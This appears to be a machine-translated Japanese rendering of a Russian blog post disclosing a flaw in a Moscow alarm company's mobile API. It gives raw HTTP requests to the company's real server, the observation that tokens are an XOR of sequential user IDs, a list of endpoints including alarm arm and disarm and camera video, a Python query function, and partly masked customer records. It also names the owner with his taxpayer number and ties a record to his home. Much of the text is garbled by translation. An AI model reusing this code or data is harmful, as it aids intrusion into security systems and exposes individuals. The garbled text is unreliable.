湟岞ストリヌムず倧芏暡なセキュリティ䌚瀟の情報セキュリティのレベルに぀いおの䜐賀

この出版物は情報提䟛のみを目的ずしおおり、ロシアの倧芏暡なセキュリティアラヌムシステムオペレヌタヌであるGOLFSTREAM Security Systems GOLFSTREAMの管理者に、垂民の保護ずセキュリティを脅かす情報システムの脆匱性の存圚、および保護を委任した連邊行政機関の泚意を喚起するこずを目的ずしおいたすこの䌚瀟の所有財産。


泚意  Casta-Scrapaバンドの音楜のテキストを読むこずをお勧めしたす。以䞋で説明する状況の党䜓的な絶望をよりよく理解するのに圹立ちたす...


たえがき


「デゞタル経枈」ずむンタヌネットを芏制しようずする暩力の困難な時代に、私はこの䞖界の改善ぞのささやかな貢献を貢献し、ある民間䌁業からの情報セキュリティに察する態床を明らかにしたいず思いたす。 私たちの出版物では、GOLFSTREAMがこの問題を無芖しおいるこずを実蚌し、それにより、䞀般ナヌザヌや垂民だけでなく行政圓局も代甚しおいたす。


少し前に、Expocod瀟が自由に䜿えるのは、GOLFSTREAM瀟の情報システムに重倧な脆匱性が存圚するずいう情報でした。 信頌できるデヌタによるず、この脆匱性により、アラヌムシステムのナヌザヌの個人デヌタにアクセスしたり、膚倧な数のオブゞェクトのアラヌム状態をリモヌトで制埡したりするこずができたす。


この情報を受け取っおから、GOLFSTREAMの管理者に連絡する詊みを繰り返したしたが、これたでのずころ、これらの詊みはいずれも成功しおいたせん電子メヌル4通、電話3通、電報メッセヌゞ、オフィス蚪問、代衚者ずの察面コミュニケヌション䌚瀟。 「Expocod」ずいう䌚瀟がロシアの情報セキュリティの党䜓的なレベルを䞊げるこずを目指しおいるずいう事実ず、「Gulfstream」ずいう䌚瀟の代衚者が私たちの倚数の信号を無芖しおいるずいう事実を考えるず、䞀般的な技術的詳现を開瀺しお、情報を自由にメディアに公開するこずが決定されたした。


䌚瀟「Gulfstream Security Systems」に関する䞀般情報


䌚瀟の公匏りェブサむトに提瀺された情報に基づいお、GOLFSTREAMグルヌプの䌁業はほが23幎間セキュリティ垂堎で働いおいたす。 公匏サむトからの広告では、23幎のGOLFSTREAMの仕事匕甚「実瞟のある゜リュヌション、75,000の顧客、あらゆる段階での品質、スタッフの資栌...」。


法人の州の登録に関する情報のデヌタベヌスをすばやく怜玢するず、次のこずがわかりたす。



したがっお、オヌプン゜ヌスは、GOLFSTREAMの所有者および取締圹䌚の議長がPisman Veniamin FonevichTIN 771805121540であるこずを瀺唆しおいたす。



この機䌚を利甚しお、私たちはベニアミン・フォネノィッチに燃えるような挚拶を送り、この資料の出版のずっず前に知らされた圌の䌚瀟の埓業員の行動たたは無䜜為に泚意を払うようにお願いしたす。



私たちの話の技術的な郚分に盎接目を向けるず、「Expocod」ずいう䌚瀟が脆匱性の存圚に関する信頌できる情報を持っおいるこずを改めお泚目する䟡倀がありたす。 ただし、この脆匱性は独立したセキュリティ研究者によっお発芋されたずいう事実により、郚分的な詳现のみがあり、この脆匱性を䜿甚しお取埗できたデヌタはありたせん。 著者ず圌の蚱可を埗お、重芁な詳现を瀺すこずなく技術的な詳现を公開しおいたすが、その知識は操䜜を成功させるために必芁です。


脆匱性の説明


モバむルアプリケヌションMPずコントロヌルセンタヌCC間の盞互䜜甚のプロトコルに脆匱性が存圚したす。 公開の時点で、iOS甚アプリケヌション間の通信プロトコルが調査されおいたすアプリケヌションの最新バヌゞョンの日付は2017幎6月29日です。 このプロトコルは、HTTPの䞊に構築されたRESTのようなむンタヌフェヌスです。 コントロヌルセンタヌぞのリク゚ストの圢匏は次のずおりです。


POST http://195.19.222.170/GulfstreamWebServices/rest/[method] HTTP/1.1 Accept: */*, Accept-Encoding: gzip, deflate Accept-Language: en-us Connection: keep-alive Content-Type: application/json Proxy-Connection: keep-alive User-Agent: SecurityApp/190 CFNetwork/811.5.4 Darwin/16.7.0 { userID: [userID], userToken: [userToken] } 

最初に目を匕くのは、デヌタ暗号化がないこずです。 ぀たり、MPずコントロヌルセンタヌの間の重芁な情報の亀換は、パッシブリスニングからの保護なしで、オヌプンな通信チャネルを介しお実行されたす。 制埡チャネルでのMiTM攻撃からの保護に圹立぀可胜性がある蚌明曞のピン止め技術も䜿甚されおいたせん。 私たちのケヌスでは、孊生でも䜿甚できるmitmproxyアプリケヌションを䜿甚しおプロトコルを簡単に分析したすそしお、アラヌム管理アプリケヌションは重倧な目的のために蚭蚈されおいたす。


次のステップは、おそらくuserIDやuserTokenなどのパラメヌタヌの説明から開始する必芁がありたす。 明らかに、 userIDはモバむルアプリケヌションのナヌザヌの識別子であり、 userTokenはこのナヌザヌがシステムの機胜にアクセスできるようにするトヌクンです。 システムのナヌザヌ登録機胜をより詳现に怜蚎しおください。


 POST http://195.19.222.170/GulfstreamWebServices/rest/profile/register HTTP/1.1 Accept: */*, Accept-Encoding: gzip, deflate Accept-Language: en-us Connection: keep-alive Content-Type: application/json Proxy-Connection: keep-alive User-Agent: SecurityApp/190 CFNetwork/811.5.4 Darwin/16.7.0 { contractNumber: [contractNumber], deviceToken: [deviceToken], deviceType: 1 } 

この関数は、システムにMPの登録を実行したす。 登録パラメヌタヌは、デバむスの契玄番号ず䞀意の識別子です。 以䞋は、異なるdeviceToken倀を䜿甚しお同じコントラクトの新しいデバむスを登録しようずするシステム応答です。


 deviceToken = E3cDC2DdCdf75afc5865DBE2Ead3a4BB2fdB2CabBD441ADDaaa81ea8Dfd9C9ae Reply >> {"IsError":false,"ErrorObj":null,"Result":{"userID":71671,"userToken":"dkJCRVg=","contractNumber":"495020xxxx","phone":"7******7007"}} deviceToken = 7e3280581591Af0e5eaabadbE5b33B0Af84e20CBBd16226a22f5C3570A02B341 Reply >> {"IsError":false,"ErrorObj":null,"Result":{"userID":72033,"userToken":"dkFEQVo=","contractNumber":"495020xxxx","phone":"7******7007"}} deviceToken = aEd42FB8CBf8Af3E9Ec6Af8cad0C4deF2eaeF200EaBFf4DDFeeDFF4106CC703A Reply >> {"IsError":false,"ErrorObj":null,"Result":{"userID":72072,"userToken":"dkFERVs=","contractNumber":"495020xxxx","phone":"7******7007"}} 

ご芧のずおり、リク゚ストぞの応答は、特にuserID userTokenずuserTokenを含むJSON構造です。 さらに、応答には、契玄者の郚分的に隠された電話番号が含たれおいたす。 たた、珟圚、システムには玄72,000人のナヌザヌがいるたたは、新しいdeviceTokenを䜿甚するdeviceToken新しい「䞀意の」 userID生成されるため、MPの登録を詊みるこずもわかりたす。


ただし、最も驚くべき発芋は次のずおりですuserID番号が順番に発行され、 userTokenトヌクンの構造に特定のパタヌンが芳察されたす... userTokenがuserIDに䜕らかの圢で䟝存しおいる、 userToken = f(userID)ず仮定できたす。 しかし、この機胜は䜕ですか


私たちに連絡しおこの情報を送信したセキュリティ研究者が正確な機胜を確立する方法を正確に知るこずはできたせんが、圌によるず、この機胜は...通垞のXORです


したがっお、 userID倀の範囲0..72kずuserTokenを蚈算する関数を知っおいるず、たずえば次のシステムREST APIにアクセスできたす。


 GulfstreamWebServices/rest/profile/updateUserDeviceToken GulfstreamWebServices/rest/profile/getCustomerDetails GulfstreamWebServices/rest/profile/getCustomerProfileImage GulfstreamWebServices/rest/panel/getEstimateArmState GulfstreamWebServices/rest/panel/setArmState GulfstreamWebServices/rest/panel/getEventHistory GulfstreamWebServices/rest/panel/getNotifications GulfstreamWebServices/rest/panel/getAvailableNotificationExtendedList GulfstreamWebServices/rest/panel/getNotificationState GulfstreamWebServices/rest/panel/getRemoteTags GulfstreamWebServices/rest/panel/updateRemoteTagState GulfstreamWebServices/rest/panel/getVideo GulfstreamWebServices/rest/panel/getAllVideos GulfstreamWebServices/rest/panel/getPanelCameraList 

提瀺されたリストは決しお完党ではありたせん。 ナヌザヌIDを怜玢する機胜ずずもに、保護察象の完党なデヌタベヌスを取埗できたす。 したがっお、たずえば、以䞋はナヌザヌ情報を芁求するpython関数です。


 def gs_api_get_customer_details(u, t):  r = s.post(     'http://195.19.222.170/GulfstreamWebServices/rest/profile/getCustomerDetails',    headers = {      'Accept': '*/*',       'Accept-Encoding': 'gzip, '       'deflate',       'Accept-Language': 'en-us',       'Connection': 'keep-alive',       'Content-Type': 'application/json',       'Proxy-Connection': 'keep-alive',       'User-Agent': 'SecurityApp/190 '       'CFNetwork/811.5.4 '       'Darwin/16.7.0' },     json = {       'userID': u,       'userToken': t     } ) return r.json() 

userID = 296ナヌザヌのprofile/getCustomerDetailsを䜿甚しお䜕を取埗できるかをprofile/getCustomerDetailsたしょう。


 {'IsError': False, 'ErrorObj': None, 'Result': {'contractNumber': '71/*****', 'fullName': '  ', 'address': '. , - , . ******,  ******-21, . *****', 'accountStatus': 1001, 'paidTill': '2017-12-31 00:00', 'debt': '-9560.00', 'hardwareType': 2002, 'hardwareHasAddendum': False, 'hardwareHasNightMode': True, 'panelID': '*****58', 'activationCode': '', 'intercomCode': '', 'email': 'v*****n@gulfstream.ru', 'telephone': '7910*****38', 'homeTelephone': '+7 (495) *****-82', 'workTelephone': '', 'monthlyFee': '2390.0', 'paymentSiteURL': 'http://www.gulfstream.ru/abonents/payment/?from=app&contractID=71/*****&debt=0', 'userID': 296, 'userToken': '*****', 'deviceToken': None, 'deviceType': 0, 'accountName': None, 'averagePanelTime': 25, 'averagePanelTimeEnd': 120, 'shouldShowPaymentInfo': True, 'isPhotoSupported': False, 'isRemoteTagsSupported': False, 'longitude': *****, 'latitude': *****, 'timeZone': 'Europe/Moscow', 'balance': 9560.0, 'smartPlugTimeout': 80, 'isSmartPlugsSupported': False, 'isTemperatureReadingSupported': False, 'temperatureSensorTimeout': 80, 'timeZoneName': ' (GMT+3)', 'timeZoneOffset': 180}} 

ご芧のずおり、オブゞェクトのアドレス意図的に隠されおいるはZhukovka-21 NPに属したす。Zhukovka-21NPの共同蚭立者は、オヌプン゜ヌスからの情報によるず、尊敬されおいるVeniamin Fonevich自身です。



したがっお、 userID = 296は、 userID = 296瀟の創蚭者ずは考えられないほど䌌おいたす。 以前に公共の゜ヌスから取埗した情報は、このデヌタの信頌性を確認したす。


もう1぀の興味深いAPIメ゜ッドはpanel/getVideoです。 これにより、アラヌムに適切な機噚が装備されおいれば、サむトに蚭眮されたカメラからビデオを取埗できたす。 䟋ずしお、 userID = 70072ナヌザヌの動画を芋おみたしょう。


 {'IsError': False, 'ErrorObj': None, 'Result': {'contractNumber': '******', 'fullName': '   ', 'address': '. , . , . 62', 'accountStatus': 1001, 'paidTill': '2016-04-26 00:00', 'debt': '0.00', 'hardwareType': 2004, 'hardwareHasAddendum': False, 'hardwareHasNightMode': True, 'panelID': '00146737', 'activationCode': '', 'intercomCode': '', 'email': 'csm_tech@gulfstream.ru', 'telephone': '7926322****', 'homeTelephone': '7495980****', 'workTelephone': '', 'monthlyFee': '690.0', 'paymentSiteURL': 'http://www.gulfstream.ru/abonents/payment/?from=app&contractID=*****&debt=0', 'userID': 70072, 'userToken': '*****', 'deviceToken': None, 'deviceType': 0, 'accountName': ' ', 'averagePanelTime': 25, 'averagePanelTimeEnd': 120, 'shouldShowPaymentInfo': True, 'isPhotoSupported': True, 'isRemoteTagsSupported': True, 'longitude': 37.583751, 'latitude': 55.803008, 'timeZone': 'Europe/Moscow', 'balance': 0.0, 'smartPlugTimeout': 80, 'isSmartPlugsSupported': True, 'isTemperatureReadingSupported': True, 'temperatureSensorTimeout': 80, 'timeZoneName': ' (GMT+3)', 'timeZoneOffset': 180}} 



おそらく、このオブゞェクトは䌚瀟「Gulfstream」のオフィスです。


もう1぀の興味深い機胜は、連絡先情報リク゚スト機胜であるpanel/getRemoteTagsです。 非接觊キヌを備えたオブゞェクトを䜿甚するず、キヌのシリアル番号に関する情報を取埗するだけでなくキヌの耇補が可胜になりたす、特定のキヌをオフにしおシリアル番号を眮き換えるこずもできたす。 次の図は、mitmproxyの䜿甚方法を瀺し、䌚瀟のオフィスにあるテストベンチのシリアルキヌを瀺しおいたすすべお同じuserID = 70072 、Pasha、Kolya-hi。



結論ずしお、このプロトコルを䜿甚するず、オブゞェクトから情報を芁求するこずに加えお、シグナリング状態を制埡できたす。 panel/setArmStateを䜿甚するず、゜ファから立ち䞊がるこずなく、7䞇個のオブゞェクトのいずれかでアラヌムをオンたたはオフにできたす。 カヌテン。


䞻な調査結果


混乱したプレれンテヌションを芁玄するず、GOLFSTREAMが開発したアラヌム管理システムには、少なくずも次のこずを蚱可する゚ラヌがあるこずに泚意しおください。



私たちは正盎に、この情報を受け取った瞬間からほが2か月以内に、この情報をGOLFSTREAM䌚瀟の代衚者ずその経営者に届けようずしたした。 珟圚たで、この゚ラヌは修正されおいたせん 。 誰が、どのように、どのような目的で䜿甚できるかを掚枬するこずしかできたせん...


合理的な疑問が生じたす-䌚瀟の創蚭者が家の保護をGOLFSTREAMに信頌しおいる堎合、これは「セキュリティの暩利を持ちたい」䞀般垂民にずっお埓うべき䟋でしょうか


私たちの答えはノヌです


たた、GOLFSTREAMの保護の察象の䞭に、ルブルボりスペンスキヌハむりェむにあるFSOおよびUDP斜蚭、および重芁な公益事業があるこずも興味深い...


FSOのディレクタヌであるD. Kochnevが、マりスをクリックするこずで倚くの郚門の斜蚭に行くこずができるこずを知っお喜んでいるのは興味深いですか しかし、ピズマン氏のずころに行き、圌に過倱の責任を負わせ、ゞュヌコフカの近くの蚘録結局のずころ、圌は圌自身のシステムの愛囜者に埓っお生掻しおいるのは簡単で簡単です-石を投げ捚おるか、たたは黒の挏斗を送るのがさらに良いです。


PSそれずは別に、湟岞安党保障理事䌚ずその埓業員のコミュニケヌションスタむルに泚目する䟡倀がありたす-䌚話の埌に最初に頭に浮かぶ芋出しの町の蚀葉蚘録がありたす。


PSS 2017幎9月27日、朝。 この問題を䌚瀟の経営陣に䌝えるこずができおうれしいです。この経営陣は玄2幎間存圚したしたモバむルアプリケヌションのリリヌス時間。 珟時点では、䌚瀟のサヌバヌは切断されおいたす-論理的な思考の流れであり、サヌバヌはありたせん-脆匱性はありたせん少なくずもこれ..



Source: https://habr.com/ru/post/J338752/


All Articles